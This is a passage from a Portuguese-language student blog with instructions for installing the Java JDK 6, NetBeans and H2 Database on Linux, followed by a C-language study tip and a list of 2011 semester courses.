
4. Na tela seguinte, selecione Linux e a velocidade que mais se aproxima da sua. Em seguida, clique em Continue.

Será apresentada uma tela de login.

5. Forneça seu User Name e Password e clique em Log In and Continue ou, para pular esse passo, simplesmente clique em Skip this Step para prosseguir.

6. Dentre os arquivos disponíveis, selecione jdk-6u23-linux-i586-rpm.bin (última versão na data deste post).

Pronto. Tem início o download do arquivo.

7. Para permitir que esse arquivo seja executado, abra um terminal, acesse o diretório onde ele foi baixado e inclua essa permissão com o comando chmod a+x jdk-6u20-linux-i586-rpm.bin.

8. Em seguida, tendo acessado a conta root com o comando su ou sudo no ubuntu, execute o arquivo baixado com o comando ./jdk-6u20-linux-i586-rpm.bin.

A licença é exibida.

9. Para percorrer rapidamente a licença, use a barra de espaços.

10. Ao final da licença, surgirá a pergunta Do you agree to the above license terms? [yes or no]. Digite Yes e tecle Enter.

A instalação tem início.

11. Após concluída a instalação, digite java -version no terminal. Deverá surgir o seguinte:

java version "1.6.0_20"
OpenJDK Runtime Environment (IcedTea6 1.9.2) (6b20-1.9.2-0ubuntu2)
OpenJDK Server VM (build 19.0-b09, mixed mode)

B)Instalando o NetBeans

1. Acesse o website do NetBeans (http://netbeans.org)

2. Clique em Download FREE.

3. Dentre as opções disponíveis, faça o download da Java SE.

4. Após o download do arquivo (netbeans-6.9.1-ml-javase-linux.sh, na data deste post), acesse como root o diretório onde ele foi baixado.

5. Execute o arquivo baixado com o comando sh ./netbeans-6.9.1-ml-javase-linux.sh.

6. Siga as instruções que aparecem.

Após concluída a instalação, deverá aparecer uma entrada para o NetBeans no menu Aplicativos.

C)Instalando o H2 Database…

1. Acesse o website do H2 Database (http://www.h2database.com)
2. Clique em All Platforms.

Tem início o download do arquivo h2-2010-06-27.zip (última versão na data deste post).

3. Após o download do arquivo, acesse como root o diretório opt e descompacte o arquivo baixado com o comando unzip /home/nomedousuario/Downloads/h2-2010-06-27.zip, tomando o cuidado, claro, de fazer as substituições que cabem.

Pronto. O H2 está instalado.

4. Para "levantar" o servidor e, de quebra, o H2 Console, digite em um terminal  java -cp /opt/h2/bin/h2*.jar org.h2.tools.Server.

No terminal, devem aparecer as seguintes mensagens:

Já no navegador, a interface web do H2 Console:

 Para realizar o shutdown do servidor, clique em Preferências no H2 Console e, em seguida, clique em Terminar.


Fonte:(http://www.antoniopassos.pro.br/blog)

Linguagem C

Pra quem gosta e estar querendo aprender e para quem esta estudando C na faculdade,aqui vai uma dica de uma apostila muito para o estudo da linguagem C,produzida pela UFMG,ela bem didatica e muita boa,vale a pena connferir.

Clique AQUI para fazer o download.

Bons Estudos...

Disciplinas de 2011


Pessoal abaixo esta as disciplinas que vamos cursar esse semestre :

Sistemas Operacionais
Probabilidade e Estatistica
Aspectos Teoricos da Computação
Computação Gráfica
Calculo Numerico
Arquitetura de Computadores
Redes de Comunicação

Clique AQUI para fazer o download das ementas das disciplinas.

Ciência da Computação UNIP

Blog criado por alunos do curso de ciencia da computação da Universidade Paulista campus Brasilia,para o compartilhamento do conhecimento adquirido no curso,publicaçoes de materias,conteudos de estudos para provas e um meio de comunicação e interaçoes entres todos os alunos dos cursos do ICET.Em breve mais noticias e mais conteudos no blog !!!